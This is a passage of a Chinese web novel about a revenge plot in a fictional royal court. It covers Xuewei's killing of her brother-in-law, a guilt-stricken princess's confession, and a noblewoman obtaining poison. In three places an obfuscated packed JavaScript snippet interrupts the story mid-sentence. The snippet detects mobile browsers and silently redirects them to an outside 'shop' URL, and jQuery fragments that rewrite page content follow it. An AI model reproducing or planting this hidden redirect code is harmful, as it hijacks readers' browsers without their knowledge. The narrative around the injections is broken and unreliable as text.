自从恢复记忆以来,他看待这个世界的看法发生了巨大的转变,亲叔叔砍下了父王的头颅,夺走了父王的王位,还间接害死了母后,让他自小颠沛流离。 他从来都不是什么孤儿,造成这一切的源头,皆由王位上的那个男人而起。 “父王。”漆黑的眼眸中闪过一丝杀意,十一心底仇恨四溢:“我想和你合作。” “合作?”雪微抬起头,静静的看着十一孤傲的身影,曾几何时,雪微觉得他身上有着诸多的秘密,因此动用噬魂蛊对他进行催眠,想知道他内心深处最深的动机,可惜,他死咬嘴唇,自始至终都不曾开口。 “你有什么资格与我谈合作?” 十一愣住,他想了想诸多可能,却没有想到雪微会这么回答:“我可以充当你手中的刀剑,杀任何你想杀之人。” 雪微冷冷的笑了笑:“可我不需要杀手。” “是啊,她是七杀殿的人,手底下应该有众多的杀手。”十一心中想了又想:“我除了这具身体,确实没有什么可以交换的。” “你可以,以身相许。”雪微看着十一,双眼含满笑意。 “以身相许?”十一垂下眼眸,心中想道:“她这是什么意思,难道她想要我......” “成为我的人,没有我的同意,终身都不可以离开,这个条件如何?”雪微言语依旧冷冰冰的,没有一丝温度。 “原来如此,刚才,真的吓死我了。”十一内心深处躁动不安,看来是我多想了。 他沉默了会,回应道:“成交。” “你不再考虑考虑,你要知道,如果你背叛了我,你将会面临什么?” “不考虑了。”十一果断的回答,他没有退路,与七杀殿合作,是他最好的归宿,要不然,凭他的实力,不知何年何月才能够杀掉王座上的那个男人。 他看着雪微埋头继续整理药草,便静悄悄的离开了。 “公子,属下听你的吩咐对这个女子进行调查,但什么都没有查出来,她就像是凭空出现的一样。”子昂看了眼院子里整理药草的雪微,摇了摇头。 子昂的父亲是是父王最忠诚的影卫,自从父王被叔叔夺走王位以后,子昂便随同他的父亲一起隐居起来,暗中一直寻找十一,直到前段时间,十一恢复记忆,这才记起,父王给他留下的影卫队。 “不用调查了。”十一看着雪微的背影,逐渐陷入沉思之中,“什么都调查不出来,想必她在七杀殿中的地位非比寻常吧,七杀殿除了殿主冷禅衣之外,再就是一直很神秘的少宫主雪寒微,和七名长老,她的身份,一定就是其中的某一位吧。” “不管她是谁,能够有如此手段,让七杀殿的杀手听命于她,能够与她合作,才会增加自己赢的筹码。” “叔叔,那个位置,一定很冰冷吧。”十一转身,与子昂离开了庆安王府。 ...... “王妃,王爷醒了。”罗忠低头,余光扫了眼雪微,自从上次这个女人把他抬为庆安王府管家以后,罗忠就很少看见她。 她看起来似乎很神秘,除了一些必要的大事,其于小事,一概不问,这也给了罗忠最大的权利与自由,在这座王府里,除了王妃和那个瘫痪昏睡不醒的王爷,他可谓是最大的掌权者,王府的一切事物都要经过他的手,当然,这一切也都是经过雪微的默许。 但如今,庆安王醒了,罗忠心里摇摆不定,“王爷醒了,庆安王府怕是要变天了。” “醒了?”雪微神色有疑,三个月前,她暗中去探察过庆安王的脉搏,绝无一丝苏醒的痕迹,如今怎么突然就醒了? “本宫知道了,你先退下吧。”她的语气依旧十分冷淡,脸上没有一丝情绪的波动。 “是。”罗忠看了眼雪微,点头,便退了出去。 黑暗,给人一种无比的死寂感,雪微抬头看了看高高悬挂在空中的月亮,银光洒过,只剩下繁星点点,如坠深渊。 养心殿空无一人,雪微站在床塌旁,塌上早已经没有了余温,“他真的醒了吗?三个月前,我明明为他诊断过,那时看上去,已然成为了植物人,怎么如今,才三个月,他就醒了。”雪微感到百思不得其解。 漆黑的夜色将她一层一层的裹挟住,她很喜欢这种死寂般的沉静,默默的长呼一口气,游荡在这无尽的夜色之中。 “王妃。”一阵低沉醇厚的声音在殿内回荡,“这么晚了,你来找本王有什么事?” 雪微转身,朝着声音发出的方向望了去,一双漆黑的眼眸,在微弱的月光下,犹如猎豹一般,死死的盯着雪微,这种感觉十分的压抑,“看来是我大意了,眼前的这个人修为定不在我之下,要不然,我怎么会连他在哪里都不知道呢?” “你不是庆安王,庆安王绝没有你这么好的身手。” “奥。”十一笑了笑,银色的面具在月光下,闪闪发光,她一直都很聪明,但有时,太聪明过头了:“那王妃说说,我不是庆安王,那我是谁?” “是啊,他如果不是庆安王,那他会是谁呢?”雪微心中暗自想了想,“传闻庆安王自幼中毒,身体瘫痪在床十几年,而眼前的这个人,一点中毒的迹象都看不出来,“你是谁,我不知道,但你绝不是庆安王。” “我不是庆安王,你也不是漠北月华公主,假王爷与假公主,正好是天造地设的一对。”十一言语中带着一丝威胁,“王妃还是先管好自己吧。” 雪微静静的看着十一,沉吟片刻,“你把庆安王弄去哪了?” “王妃,夜已深了,您还是早点休息吧,不送。”十一嘴角始终挂着一抹淡淡的微笑,这个人心思深沉,又对我种下噬魂蛊,如果不是父王留给我的冰玉可以克制一切毒与蛊,只怕此刻,她早已经知道我是谁了。 “赶我走?”雪微心中想了想,也罢,只要日后,他不妨碍我,那么管他是真的或者是假的王爷,对我来说,都没有什么分别,我要的,只不过是借用庆安王妃这一身份而已,至于未来,报完仇以后,自然会离开这里。 雪微转身,十一开口道:“以后王妃想要来看我,可以大大方方的进来,没必要遮遮掩掩的。” “毕竟我们是夫妻。”十一特意把夫妻二字说重了点,他很想看看雪微此时脸上到底是什么样的神情,毕竟,能够找到逗她的机会很少。 他看着雪微消失在黑暗中的身影,浅浅的笑了笑。 “少宫主,庆安王真的醒了过来吗?”锦瑟心中焦虑不安,王爷要是真的醒了,会不会打乱少宫主的计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892837|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 雪微给自己倒了杯水,轻轻抿了抿:“确实醒了。” “那接下来,我们该怎么办?” “还是按照原计划进行。” 锦瑟点了点头,少宫主说按照原计划进行,肯定是有自己的谋划,她从来都不会多问一句,少宫主说的自然有她自己的道理,这一点,锦瑟自然是明白的。 只不过,庆安王的苏醒确实给计划增添了几分不确定性。 雪微静静的看着月色,每当她心中感到不安的时候,她都会看着月亮,因为这是她与父亲唯一的交流。 “爹,你就在天上看着吧,我一定会让他们为自己亲手做过的事情付出应有的代价。” 天上的星星一闪一闪的,就像当年父亲陪她一起在院中数星星,雪微拿起一块雪花糕塞入嘴中,比起娘亲亲手做的,略微显得有些甜腻。 ...... “雪姨,你为什么要杀了李朔,你能给我一个杀他的理由吗?”李玄心中充满疑惑,他不明白,雪微与李朔之间到底有什么深仇大恨,值得雪微如此的煞费苦心。 雪微抬头,放下毛笔,冷冷地目光落到李玄的身上,“杀人还需要理由吗?” “他毕竟是我的父亲。”李玄沉默了会,神色略微有些生气:“就算看在我的面子上,你为何不能手下留情,饶他一命。” “父亲?”雪微冷哼一声,“玄儿,他杀了你的母亲,在你年幼的时候就抛弃了你,你还要认这样的人,做父亲吗?” 冷冰冰的言语,如同寒冰一般,让屋内微热的空气瞬间冷去了几分。 “可是,我们毕竟是血脉相连。”他低头,声音极低,“雪姨,我已经说过会让他终身被囚禁,这一辈子都生活在地狱之中,你为什么就不能看在我的面子上,饶过他。” “不能。”雪微果断拒绝,脸上透着一丝决然。 “你和我母亲到底是什么关系,为何这么恨李朔,难道真的只是为了替我母亲报仇吗?”李玄看着雪微,心中感到质疑,在他的记忆之中,并不记得母亲有过什么好友。 “我与你母亲,本就不是什么好友。”雪微脸上闪过一丝淡漠的哀伤。 李玄苦笑道:“我就知道。” “我们是姐妹,亲姐妹。” “你说什么?”李玄一怔,这晴空霹雳般的话,瞬间袭满了李玄的脑中,“不,这不可能。”他心中充满了质疑,“这不是真的。” 雪微笑了笑:“你的母亲叫林雪柔,我叫林雪薇,她大我十五岁。” 他想过很多,但唯独没有想过,她与娘亲居然是亲姐妹,李玄惊魂未定。 “李玄,这下你可明白,我为什么一定要杀李朔,因为我要他去地底下亲自给姐姐赔罪。”雪微浑身上下透露着一股子寒气,在这六月微热的天气中,让人心底发寒。 “这不可能,林家当年不是全族都被屠杀殆尽了吗?”李玄不可置信,嘴里一直嘀咕:“这不可能。” “这有什么不可能的,李玄,你是我在这个世上唯一的亲人,我们身体里都流淌着林家的血。”雪微静静的看着李玄,看着他的一举一动,她知道李玄对她有着不一样的感情,所以她想趁着还未萌芽,就赶紧把它给掐断,这样做对他虽然有些残忍,但她必须这样做,他们是亲人,是在这个世界上,唯一有些血缘关系的亲人。 李玄不由自主的倒退了一步,情绪十分低落,摇头低语道:“不,你是我母亲的妹妹,那么我们,我们是亲人,你是我的小姨。” 他看着雪微,眼神之中有着一丝不甘:“老天爷为什么给他开了这么大一个玩笑,为什么,我不要你做我的小姨。” “我不要你做我的小姨。” 情绪的喷涌而出,瞬间占据了李玄的脑海,他摇头,他狂笑,双眼柔情的看了一眼雪微,然后转身便逃离开来,他无法面对雪微即将成为他小姨的事实,为什么,“我好不容易才打开心扉,爱上一个女子,可她,却成为了我母亲的亲妹妹,我的小姨。” 老天爷似乎给他开了一个巨大的玩笑。 16. 冤魂 雪微坐在案台前,默默的回想着眼前的一切,她知道亲手掐断李玄对她的爱恋十分的残忍,但她只能这么做。 李朔是她的执念,她曾经在姐姐的灵位前发过重誓,一定会让李朔不得好死。 “你是谁?”李朔惊恐的看着雪微,眼中挂着一丝不可置信:“你是雪柔?” “不......这不可能......雪柔早就已经死了......这不可能。”他看着和雪柔一模一样面孔的雪微,眼眸之中,全是惶恐。 “夫君,我一个人在地下好孤单啊,你要不要下来陪陪我。”雪微朝着李朔缓缓的走去,模样形态像极了雪柔,“我在下面好冷啊,夫君。” “你不要过来。”李朔四处逃串,慌不择路,“你走......你走开......” “想跑?”雪微冷冷笑了笑,犹如地狱的修罗般,她看了看这间屋子的布局,“当初姐姐就是在这里被你吊死的,如今,你也会在这里被吊死。” “你到底是谁?”李朔面部扭曲,眼见自己无法逃离,于是奋起抵抗准备与雪微同归于尽,却被雪微一脚绊倒倒地,“找死。” 一条白色的丝带从雪微的袖口滑落,在李朔的脖子处缠绕几圈。 看着被吊在屋梁上的李朔,雪微轻轻的拂了拂手,“姐夫,你就安心去下面亲自给姐姐赔罪吧。” 她看着仇人在自己的眼前拼命的挣扎,心底感到一阵畅快,原来,这就是复仇的滋味。 ...... 自从知道雪微是母亲的妹妹,是自己的小姨以后,李玄终日醉酒,他不敢相信,脑海中全是雪微向他招手的画面:“雪姨,为什么,你为什么要告诉我这些。” “你是不是知道我喜欢你,所以你想断了我的这份念想?”酒喝得越多,李玄脑子反而越是清醒,他的眼眶中含满泪水,柔情似水的看着画面中的雪微:“我喜欢你,只要能够陪在你的身边,我就觉得幸福。” 一盆冷水瞬间浇醒了醉酒中的李玄,“雪姨?”李玄看着面前的雪微,晃了晃脑袋,反复确认之后,发现这一切不是做梦,雪微就站在他的眼前,死死的盯着他,他迅速从地上站了起来,整理了一下自己凌乱的衣服。 “雪姨,你怎么来了?”他的心中充满了忐忑,眼神闪烁,不敢直视雪微的双眼。 “我要是再不来,你准备醉死在这儿吗?”雪微的语气依旧冰冷,但冰冷之中却隐含着一丝怒气。 “她生气了,她居然为我生气了。”李玄心中想了想,“看来,雪儿心中还是有我的,我不能再自甘堕落。” “你隐忍了这么多年,好不容易才重新袭得爵位,怎么能够轻易的就这样放弃呢?”雪微口中的每一个字都像是冰刃般,刺入李玄的心脏,“你知道的,我无心,自然无爱。” “我不爱你。”这四个大字飞入李玄的耳中,让他的情绪从高涨瞬间低落到尘埃,单爱一个人,也许注定了痛苦。 “你不爱我,那你为什么救我,为什么这么关心我?”李玄沉默了会,心中感到质疑,他始终无法相信眼前这个人对他一点感情都没有。 雪微的目光坚定的落到李玄的脸上,她看着李玄的双眼,再次说道:“你是我姐姐唯一的孩子,我救你,是为了完成对姐姐的承诺。” “承诺?”李玄苦苦的笑了笑,是啊,她早就说过,她做的这一切都是为了给母亲报仇,所以,救我,不过是她复仇环节中的一环而已。 “我早该想到的。” 他抬起头,微微笑道:“放心吧,雪姨,我不会继续颓废下去的,我们还有很多未完成的事情。” 他看着雪微疏离的背影,心中暗自发誓:“复仇这条路,我一定会陪你走到底。” ...... 日子越过越快,转眼,即将入秋,叶肃做事果真狠辣,为了自己的前途,居然选择告发自己的亲生儿子。 雪微对叶肃的举动并未觉得很惊讶,他一直都是这样,就如同当初伪造信件,告发父亲一样,只不过这一次,他再次选择放弃了自己的亲儿子。 前脚太傅府的事情平息了一段时间,京城也安静了不少,后脚就传出淑宁公主深夜在宁王府门口跪到了天亮,直到昏睡在宁王府门口。 宁王府,十三年前三百多口人一夜之间惨遭屠杀后被判叛国罪,全族没留下一个活口。它突然出现在大众的眼前,京城上下一片哗然。 “冤魂索命,一定是冤魂索命来了。” 百姓纷纷猜测,这事一定与淑宁公主脱不了关系,要不然,她为何深夜独自一人跪在宁王府的大门口。 “她肯定和宁王府的灭族脱不了关系。” 大家议论纷纷,整个朝堂,因为此事吵得不可开交,圣上也觉得脸面大丢,因此对淑宁公主实行了禁足三个月。 “三个月?”雪微轻蔑的笑了笑,眼底透过一丝杀气。 公主府,淑宁躺在床上,眼神空洞的看着前方,今日发生的这一切对她来说,都觉得十分的荒唐,这种事怎么可能会发生在她的身上,想起府中的人私底下窃窃私语,指指点点,淑宁心底感到撕裂。 门外一阵脚步声响起,淑宁抬头,面无表情的朝着门口看去。 “轩哥,我......对不起......我不知道怎么回事,我怎么会晕倒在宁王府门口。”在看到齐庭轩的时候,淑宁眼中的泪水瞬间喷涌而出。 这几日,她把自己一个人独自关在卧室里,不见任何人,直到看到齐庭轩着急的朝她赶来,她这才明白,“轩哥是她此生的唯一,在他的面前,淑宁可以肆无忌惮的哭泣,把自己最脆弱的一面透露到他的面前。 “没事......没事了......”齐庭轩走到淑宁身边,温柔的抱着淑宁,轻声道:“没事了,有我在,我不会让你再出任何事的。” 淑宁点了点头,心底委屈至极。 “这一切到底是怎么回事,淑宁为什么会半夜走到宁王府?”齐庭轩心中想了想,淡淡道:“你半夜是怎么去的宁王府,你还记得吗?” 淑宁回想起,摇了摇头:“我不知道,我不知道我为什么会在宁王府。”她这几日也想了许久,这一切太过突然了,但什么都想不起来。 “轩哥,我前几个月见到林雪微了,你说会不会是她,她想要杀我?” 淑宁想起那一晚见到林雪微之后,自己便生了一场大病,病好到现在,这短短三个月过去了,如今,她却晕倒在宁王府,这两件事之间一定有联系。 “雪微?”齐庭轩陷入沉思,当年宁王府叛国,为了撇清与宁王的嫌疑,便对外宣布与宁王府林雪微解除婚约,齐庭轩顿时心生愧疚:“雪微早在十三年前就死在了宁王府,你是不是见错了?” “不会......一定不会的。”淑宁惶恐不安:“我真的见到林雪微了,她当时就在我的面前,就那样看着我,朝着我走来。” “不会错的。”她指着那个角落:“当时我见到她,就站在那里。” 齐庭轩转过身,朝着淑宁手指的位置若有所思的看了一眼,然后摸了摸淑宁的额头:“没有发烧啊,怎么又开始胡言乱语起来了?” “你不相信我?”淑宁用质疑的眼神看着齐庭轩,“轩哥,你我成婚已经十多年了,难道你心中还惦记着那个林雪微吗?” 她自嘲道:“也是,毕竟你们定了娃娃亲,她曾经是你的未婚妻。” 齐庭轩冷冷的看着淑宁,眼神之中没有一丝波澜,先前静宜说府中已经请国师进行驱过好几次魔,现如今看来,淑宁怕真的是中邪了,她为什么那么害怕雪微呢?难道她曾经做过什么对不起雪微的事? 又或者宁王叛国这件事,淑宁也参与其中,当初他就曾经怀疑过,怎么刚好就那么巧,宁王刚刚才从漠北打了胜战归来,结果没过半年,整个宁王府却被屠杀殆尽,紧接着,又传来宁王叛国的消息。 这一切都太过巧合了,宁王府被屠杀,圣上居然没有彻查,也许这件事和圣上也有关系。他眼神中充满了疑虑,“民间传言宁王是被冤死的,不知你有什么看法?” “什么被冤死的,证据都摆在眼前,难道你质疑父王的决策?”淑宁回绝道:“宁王叛国,举国上下皆知,你就不要再多生是非了。” 她看着齐庭轩风尘仆仆的脸:“我今日累了,你先回书房休息吧。” “你真的和宁王府的案子没有关系吗?”齐庭轩知道,淑宁刚才心虚了,这么多年的夫妻,她有什么心思,他还能不知道,难道淑宁真的和宁王府叛国案有关系,又或者说,宁王府的叛国案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892838|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就是栽赃陷害的? “我说没关系,就没关系,你走吧。”淑宁拾起被子,侧身睡了过去,她不想让齐庭轩看出她心底的慌乱。 “难道,我晕倒在宁王府,真的是林雪微的冤魂来找我了。”每当想起这事,淑宁浑身起鸡皮疙瘩,越想,心里越觉得不安。 天色越来越暗,淑宁辗转难眠,她掀开被子,起身穿上黑色的衣裙,来到祠堂,随手拧了一个竹篮,竹篮里面放着一些假元宝,纸钱等物品,转身便离开了。 “林雪微,求求你别再来找我了,我当初也是迫不得已,害死你的人是雨菲,是她把你推下悬崖的,不是我,求求你,别再来找我了。” 她叠起一堆纸,放入火堆中,火越烧越旺,“你不要再来找我了,不是我害死的你,你去找雨菲吧,是她,当初她为了当上父王的妃子,便找到了我,求我帮她爬上父王的龙床,我只不过是随便给她开了一个玩笑,没想到,她真的会把你推下悬崖。” “对不起,对不起,你不要再来缠着我了。” “雪微真的是你杀死的?”齐庭轩从树影下方走了出来,刚开始听说那些传言的时候,他心底还觉得这些都是子虚乌有,不可置信,如今,他看到淑宁深夜居然在给雪微烧纸,原来,这十几年来,他一直活在欺骗之中。 温柔贤惠的妻子,现如今居然变得心狠手辣,面目可憎起来,“你说话啊,雪微是不是你杀死的?” “你不是都已经看到了吗?”淑宁看着齐庭轩,不想做过多的解释:“是,是我利用雨菲杀了林雪微,这下,你该满意了吧。” “你为什么要揭开这一切,你为什么要跟来,明明不关你的事,当好你的驸马就好。” 齐庭轩看着眼前这个面容熟悉的女子,突然感到她十分的陌生,“你为什么要这么做?” 淑宁沉默了许久,她看着齐庭轩的双眼:“如果我说我做这一切都是为了你,你信不信?” “为了我。”齐庭轩哭笑不得:“为了我,你就可以杀人吗?” “她是宁王的女儿,就算我不杀她,她也会死。”淑宁解释道:“她是林家唯一幸存的人,反正都是死,她被我所杀,是她的荣幸。” “谁叫她霸占了你未婚妻的身份,本宫是绝不会允许任何人与我共侍一夫的。”淑宁看着齐庭轩,她知道当一切揭开的时候,她和齐庭轩的关系也自然走到了尽头,但是,此生她不后悔,因为不管最后结果怎么样,他们之间还有一个女儿,即便看在女儿的份上,齐庭轩也不会对她怎么样。 就是因为仗着这一点,所以她做好了最坏的打算,即使齐庭轩知道一切,那又如何,他还是她的驸马,这一点永远都不会变。 齐庭轩摇了摇头,苦笑一番,“原来一切居然是这样。” 他继续问道:“那宁王叛国呢?是不是和你也有关系?” “这件事,事关重大,即使你知道了真相,但结果不一定是你能够承受得住的。”淑宁道:“当年,宁王打了胜战归来,朝中许多人都盯着他,想要他死的人太多了。” “原来如此,原来如此。”齐庭轩胸口一阵疼痛,当初为了这件事便退掉了与林雪微的婚事,就是为了避免和宁王产生纠葛,没想到,林雪微居然是因为我而死。 “轩哥,人都死了十三年了,你又何必在意呢?我们只需要过好我们自己的生活,不好吗?”淑宁苦口婆心劝诫齐庭轩:“宁王叛国之事,不是你能够翻案的,你又何必自己给自己找不痛快呢?” “是啊,人都死了十三年了。”当真相真的被揭开的这一天,齐庭轩突然觉得这十几年来,他都活在谎言之中,“你真的很可怕。” “我想我们先冷静冷静,这几日,我就直接睡书房吧。” 淑宁嘴角抽搐般,脸色瞬间变得可憎起来:“齐庭轩,这辈子,不管你怎么逃,你永远都逃不出我的手掌心。” “我做这一切,都是为了你,因为你,我的双手早已经布满了鲜血,回不了头了。” 她看着那堆燃烧的火堆,一脚踢翻倒地,“林雪微,你人都死了十三年了,居然还阴魂不散,想让本宫不得安宁,你人活着的时候本宫都不怕,难道还怕一个死人吗?” “来吧,尽情的来吧。”她心里极为扭曲,疯狂大笑。 17. 威胁 “沈雨菲,你是不是对轩哥说了什么?”淑宁左思右想,这一次齐庭轩回来之后整个人都不对劲,他们一起生活了十年,齐庭轩是个什么性格的人,淑宁一清二楚,她回想起沈雨菲当初对她的威胁,脑中冒出一个可怕的念头。 “疯子。” 淑宁抬起右手,正准备扇下去,却被沈雨菲紧紧握住了手腕,她恶狠狠的看着沈雨菲那张精致的容颜,还是和往常一样,一点衰老的痕迹都没有。 “你想干什么?” “放开我。” “淑宁公主,你今日大闹我重华宫,此事,你必须给我一个理由,要不然......”沈雨菲话还未说出口,就被淑宁大声喝道:“要不然,你想怎么样?” 她讽刺道:“一个残花败柳的女儿,仗着与宁王王妃姻亲的关系,摇身一变,又变成了高高在上的贵妃,你以为你改了自己的名,就真的能够拥有这一切吗?” 她恐吓威胁道:“只要我想,明日就能够让你从贵妃的位置上坠落,成为人人咒骂的阶下囚。” 沈雨菲心底十分恐惧,脸色骤变:“你想怎么样?” “只要你乖乖听我的话,我就让你好好的当好这个贵妃。”淑宁拍了拍沈雨菲的脸颊,“记住,不要再激怒我,要不然,这就是激怒我的下场。” 她拿起一个白玉杯盏,啪的一声,杯盏碎成数片,溅得满地。 “总有一天,我要把你们这些曾经践踏过我的人,狠狠的踩到脚底下,我要毁掉你们所拥有的一切,然后再把你们折磨致死。”沈雨菲看着淑宁,越看越觉得她无比的恶心。 “大家都是人,凭什么你们就可以高高在上,凭什么我就得费尽心思才能够得到这一切,最后,却还要被你们拿捏。” 她心底充满了怨恨和不甘。 看着淑宁满脸嘲讽的笑容,沈雨菲的内心嫉妒发狂。 ...... “国师,有没有一种毒药,能让中毒者在不知不觉中死去,而且查不出任何中毒的迹象。”沈雨菲摆弄着案台上的各种瓶瓶罐罐,随手拿起一瓶红色瓷瓶。 “不要打开。”国师连忙来到沈雨菲身前,神色略微有些紧张:“贵妃,这瓶子里面装的是化尸水,千万不能沾到手上。” “化尸水?”沈雨菲心中有些好奇:“传闻化尸水可以溶解尸体,今日一见,本宫到想看看,这小小的一瓶水,真的有这种奇效吗?” 国师从沈雨菲手中拿回化尸水,滴了几滴在一只兔子的身上,瞬间,一只活生生的兔子便从沈雨菲的眼前消失不见了。 “果真如此神奇。”沈雨菲眼中一闪,如果能够神不知鬼不觉的杀了淑宁,这样就再也不会有人拿她的身世来威胁她了。 “淑宁,这是你自找的。”她心中想了想,神色一变,对着国师微微一笑。 “贵妃,这是朱砂泪,无色无味,每次往饭菜里面滴入一点,不仅可以增加饭菜的鲜味,还会不知不觉之中就会慢性中毒,直至死亡。”国师拿着一瓶琉璃瓶,瓶中装着透明状的液体,晃了晃。 “朱砂泪。”沈雨菲看着手中的琉璃瓶,阳光穿透,在手上映射出五彩光斑,“名字真好听,只不过,可惜了。” 她叹了口气,眼底显露出一股杀气。 “别怪我,淑宁,这一切都是你逼我的,我是绝对不可能让任何人威胁我的地位的。” ...... 时隔十三年,齐庭轩再次来到宁王府,看着这座破败的府邸,四处杂草丛生,当初他心中就有所怀疑,宁王怎么可能会与漠北勾结,但圣上下旨,谁都无法抗旨,他只能拒绝掉与宁王府的联姻,从而保全齐府。 “林雪微,对不起,我从来都没有想到,你的死居然跟我有关。”他大雪微七岁,从雪微出生时,齐庭轩就知道,林雪微就是他的未婚妻,他是看着雪微长大的,那些年的关心与偏爱都是真的。 自小雪微就一直哥哥,哥哥的叫着他,那软糯的声音,时常让他心里觉得温馨,齐庭轩来到院中的那颗梅花树下,那年,雪微刚刚出生的时候,下了一场大雪,白茫茫的,再加上窗外盛开的白梅,因此,宁王给她起名为雪微。 她是伴随着大雪而降生的,齐庭轩再次看着这颗梅树,心中感慨万千,“雪微,如果你还活着,现在应该二十一岁了吧。” “齐哥哥......齐哥哥......” “谁?” 齐庭轩转身,环顾四周,自嘲道:“看来是我多想了,雪微,已经离开了十三年了,怎么可能会出现呢?” “而且就算现在出现在我的面前,我应该是认不出她了吧,毕竟十三年未见,她应该长高了不少。” 他心中一直有一个疑惑,淑宁说她亲眼见到过雪微,当时就觉得很奇怪,她见到的应该是十三年前的雪微吧,要不然,怎么会一下子就认出来呢? “齐哥哥......齐哥哥......” “真是奇怪,我明明听到了雪微的声音,怎么在院中找寻了一圈,声音突然就消失了呢?” 齐庭轩继续朝前走着,“姑娘,这么晚了,你为何会站在这里?” 迷烟入嘴,齐庭轩还未看清白衣女子的样貌,便陷入沉睡之中。 “齐哥哥,好久不见。”雪微看着陷入沉睡的齐庭轩,“齐哥哥,你不应该来的,做错事的是淑宁公主,可惜,你是她的丈夫。” “我不想这么做的,这些事本就与你无关,但是......” “但是,谁叫你这么爱多管闲事,非要替淑宁出头,我只能对不起你了。” 次日清晨,齐庭轩醒来之后,四周望了望,此地异常简陋,但布置得却如此温馨,想必,屋子的主人应该是个细腻之人,他回想了一会,但对于昨日之事,却没有任何的印象。 一阵清晰淡雅的梅花香迎面扑来,“公子,你醒了。” 雪微端着一碗汤药走了进来:“公子好些了吗?” “快把这碗姜汤喝了,去去寒。” 齐庭轩见到雪微的样貌,惊讶道:“你是上次那个丢失荷包的姑娘?” 雪微微笑着点了点头:“公子,上次的事情,还要多谢您了。” “不客气。” 齐庭轩略有所疑,心中感到非常奇怪,“姑娘,在下冒昧问一句,我怎么会在这里?”他对昨日发生的任何事都没有印象,总觉得丢失了什么似的。 “公子昨日受寒晕倒在路边,我见状,就把你给救回来了。”雪微一字一句的解释道,她看着齐庭轩的面容,若有所思。 “原来是这样。”齐庭轩笑了笑。 一向谨小慎微的职业习惯让他对眼前的这个人产生了怀疑,“昨晚,她把我救了回来,这么晚,她出去干什么?” 雪微也笑了笑,她知道按照齐庭轩的性格,是不可能轻易的相信这件事的,只不过,他丧失了那晚的记忆。 他端起一碗姜汤,一饮而尽。 平日里,他的身体一向都很健康,就算偶感风寒,也不至于会陷入晕厥,而且他回忆了许久,对昨日之事,确实没有一丝的印象。 看着眼前这位白衣女子,身淡如雪,仔细一瞧,恍惚间,居然有几分旧人的影子:“姑娘是哪里人,听你的口音,有几分类似北方人。” 雪微微微一笑:“我确实是北方人,来京城也不过大半年而已。” 她走南闯北,对于每一个地方的语言都是十分的熟悉,为了避免引起不必要的怀疑,还是决定用北方人的音调。 齐庭轩点了点头,行礼道:“在下多谢姑娘昨日相救,要不然,我估计得晕倒在街旁了。”他眼眸含笑的看着雪微,眼底闪过一丝质疑。 “不信?” 雪微看着齐庭轩,不管他信与不信,终究她白得了一个救命之恩的称呼,“既然公子醒了,那还请公子赶紧离开吧。” “她这是在赶人?” 齐庭轩心中觉得好笑,没想到,他居然会被一个女子驱赶,“在下还有很多的问题想问问姑娘,问完再走也不迟。” “公子。”雪微做出略微生气的神情:“孤男寡女,两个人待在一起,恐怕会引起旁人的非议。” 她对齐庭轩说道:“公子还是赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892839|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开这里吧。”雪微说着说着便把齐庭轩往屋外推去。 “姑娘,我还不知道你的姓名,来日,如何报答你昨日的救命之恩?”齐庭轩隔着屋门对着屋内的雪微大声说道:“在下姓齐,名庭轩,还请姑娘告知姓名,希望有朝一日能够报答姑娘的恩情。” “救人一命,乃是医者的本分,不足挂齿。”雪微再次转身看了一眼屋外的齐庭轩,便背起竹篓从后门离开了。 “姑娘,姑娘。” 他见屋内之人早已经不知所踪,没有了动静,“来无影,去无踪。” 此人还真是一个谜。 昨日,我到底做了什么,为什么会晕倒在路旁,齐庭轩本想问个明白,这个问题就像心结般,让他百思不得其解。 他来到一家医馆,平日里身体十分健康,从来都不会出什么问题,昨日,莫名其妙的晕厥不说,对于发生的事情也记不清楚。 “鲁大夫。”他把大致的身体情况向大夫说了。 鲁大夫说他的身体并没有大碍,也并未有风寒的体征,至于昨日失去记忆这事,大夫并未察觉出来,“昨晚,我到底去哪了。” 春兰见到齐庭轩回来,就连忙小跑到他的身前,神色焦虑道:“驸马,你一夜未归,公主正派人到处找你呢?。” 齐庭轩脸色一变,不知该怎么面对淑宁,内心深处对林雪微十分愧疚,他在门口徘徊已久。 “轩哥,既然来了,为什么不进来。”淑宁从房间走了出来,双眼盯着齐庭轩:“你真的要和我分房睡吗?” 齐庭轩看了淑宁一眼,声音低沉:“还有些事情,等我想清楚,再说。” 说完,他便转身离去。 淑宁看着齐庭轩的背影,呆住了:“轩哥,我做这一切都是为了你啊,你为什么就不明白我的心呢?” “为了我?”齐庭轩怒道:“你杀人是为了我?” 他转身,对着淑宁说道:“如果你杀人是为了我,那么我宁愿我们从未认识。” 